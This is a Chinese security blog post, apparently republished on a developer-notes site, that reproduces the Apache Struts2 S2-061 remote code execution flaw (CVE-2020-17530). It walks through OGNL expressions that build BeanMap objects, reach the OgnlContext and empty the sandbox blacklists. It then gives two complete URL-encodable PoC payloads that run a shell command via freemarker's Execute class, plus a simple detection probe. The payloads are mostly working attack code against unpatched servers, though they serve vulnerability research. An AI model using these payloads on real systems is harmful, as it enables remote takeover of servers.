热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

内含POC丨漏洞复现之S2061(CVE202017530)

1.本文为Gcow安全团队成员江城@复眼小组所写,未经允许禁止转载2.本文中的payload切勿用于违法行为 一切造成的不良影响 本公众号概不负责3.本文一共2000字 18张图 预计阅读时间7分钟4

1.本文为Gcow安全团队成员江城@复眼小组所写,未经允许禁止转载
2.本文中的payload切勿用于违法行为 一切造成的不良影响 本公众号概不负责
3.本文一共2000字 18张图 预计阅读时间7分钟
4.若本文中存在不清楚或者错误的地方 欢迎各位师傅在公众号私聊中指出 感激不尽

漏洞描述

本次漏洞是对S2-059漏洞修复后的绕过。S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26版本中OGNL表达式的执行也修复了。

 

漏洞影响版本

struts 2.0.0 - struts 2.5.25

 

漏洞分析

本文仅是对S2-061进行复现,并且对复现的过程进行记录,具体的分析思路可以参考 安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)

Smi1e师傅tql 膜了 呜呜呜

 

漏洞复现



测试环境

IDEA 2019.3.5
Struts2 2.5.26/Struts2 2.3.33
Apache-Tomcat-8.5.57


相关依赖包




注意,搭建测试环境的时候,除了下载struts2的最小依赖包(struts-2.x.xx-min-lib.zip)以外,本次的环境,还需要依赖同版本包下的commons-collections-x.x.jar,可以在struts-2.x.xx-lib.zip中找到版本对应的包,后续会说明为什么一定需要这个包。

2.3.3相关依赖包

2.5.25相关依赖包


复现思路简略说明(具体思路请移步上文中的漏洞分析文章)

首先找到struts2标签解析的入口,也是我们本次漏洞Debug跟踪的重点。

全方法名:org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag

这里是标签解析的开始方法,同时这里能够观测到整个OgnlValueStack对象,也是我们开始寻找利用点的地方。

其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置):

从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图

转换为ognl表达式后如下:#application.get('org.apache.tomcat.InstanceManager')

org.apache.catalina.core.DefaultInstanceManager 的方法不做过多描述,借用分析文章中的一张图,可以使用这个对象中的newInstance方法实例化任意无参构造方法的类并返回。

创建org.apache.commons.collections.BeanMap对象(本次的漏洞复现的主角,同时这个包就在commons-collections-x.x.jar中)

API简要描述(若想看详细方法分析,请移步到上文的分析文章):

Object get("xxxx") 实际相当于调用内部对象的getXxx,比如getName()
Object put("xxxx",Object) 实际相当于调用内部对象的,setXxxx,比如setName()
void setBean(Object) 重新设置内部对象,设置完成后上面两个才能生效
Object getBean() 获取内部对象,这里可以在断点的时候查看到当前map中的实际对象

整体创建的Ognl表达式(这里存放到application中,方便多次请求使用)

%{#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}

获取到OgnlContext对象 (实际就是#attr#request 等map对象中的 struts.valueStack)并且设置到上一步的BeanMap中,用于绕过沙盒限制,进行内部方法调用。

Ognl表达式代码

%{#application.map.setBean(#request.get('struts.valueStack'))}

使用3和4同样的原理,利用 BeanMap使用com.opensymphony.xwork2.ognl.OgnlValueStack 中的 getContext 方法间接获取到 OgnlContext,并且重新设置到一个新的BeanMap中。

这里把两个步骤的Ognl代码同时贴出来

# 注意,自行调试的话,需要分两次执行
%{#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
%{#application.map2.setBean(#application.get('map').get('context'))}

使用上面的原理,使用第二步得到的OgnlContext获取到内部的com.opensymphony.xwork2.ognl.SecurityMemberAccess对象,在设置到新的BeanMap中,用于重置黑名单

# 注意,自行调试的话,需要分两次执行
%{#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')}
%{#application.map3.setBean(#application.get('map2').get('memberAccess'))}

确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。

前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClassescom.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames,如下图

在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在request中的poc。

初次请求赋值:

执行下面清空黑名单代码的重新赋值

清7空黑名单的ognl代码

# 注意,自行调试的话,需要分两次执行
#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))
#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet'))

这里就可以使用黑名单中的freemarker.template.utility.Execute类中的exec方法执行Shell了。需要最少和前面的8一起使用,才能执行成功。可以直接使用最后面的完整poc代码执行。

执行shell的ognl代码

#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})

 

完整POC



使用application,就是上面思路的完整POC

%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) +
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}


使用request,单次请求有效的完整POC (推荐)

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

注意:请使用url对以上的OGNL代码编码后,再在工具上使用。

 

检测思路

在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。

比如:

​ %{ ‘gcowsec-‘ + (2000 + 20).toString()}

预计会得到

​ gcowsec-2020

使用脚本判断结果中是否包含就可以了

 

总结

此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMapcommons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。

 

参考文章

安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)

[官方更新公告]https://cwiki.apache.org/confluence/display/WW/S2-061

[Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析]https://blog.csdn.net/weixin_46236101/article/details/109080913

360-CVE-2020-17530: Apache Struts2 远程代码执行漏洞通告


推荐阅读
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • Sleuth+zipkin链路追踪SpringCloud微服务的解决方案
    在庞大的微服务群中,随着业务扩展,微服务个数增多,系统调用链路复杂化。Sleuth+zipkin是解决SpringCloud微服务定位和追踪的方案。通过TraceId将不同服务调用的日志串联起来,实现请求链路跟踪。通过Feign调用和Request传递TraceId,将整个调用链路的服务日志归组合并,提供定位和追踪的功能。 ... [详细]
  • Tag类:EVAL_BODY_INCLUDE在doStartTag中返回表示执行标签体的内容SKIP_BODY在doStartTag方法中返回表示不执行标签体EVAL ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • springmvc学习笔记(十):控制器业务方法中通过注解实现封装Javabean接收表单提交的数据
    本文介绍了在springmvc学习笔记系列的第十篇中,控制器的业务方法中如何通过注解实现封装Javabean来接收表单提交的数据。同时还讨论了当有多个注册表单且字段完全相同时,如何将其交给同一个控制器处理。 ... [详细]
  • 大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记
    本文介绍了大数据Hadoop生态(20)MapReduce框架原理OutputFormat的开发笔记,包括outputFormat接口实现类、自定义outputFormat步骤和案例。案例中将包含nty的日志输出到nty.log文件,其他日志输出到other.log文件。同时提供了一些相关网址供参考。 ... [详细]
  • 本文讨论了在shiro java配置中加入Shiro listener后启动失败的问题。作者引入了一系列jar包,并在web.xml中配置了相关内容,但启动后却无法正常运行。文章提供了具体引入的jar包和web.xml的配置内容,并指出可能的错误原因。该问题可能与jar包版本不兼容、web.xml配置错误等有关。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • Docker系列 七. Docker 安装Jenkins
    Docker系列七.Docker安装JenkinsJenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作 ... [详细]
  • IssuesonGithubaremeantforbugreporting.Pleasepostfeaturerequestsonthe ... [详细]
author-avatar
mobiledu2502854827
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有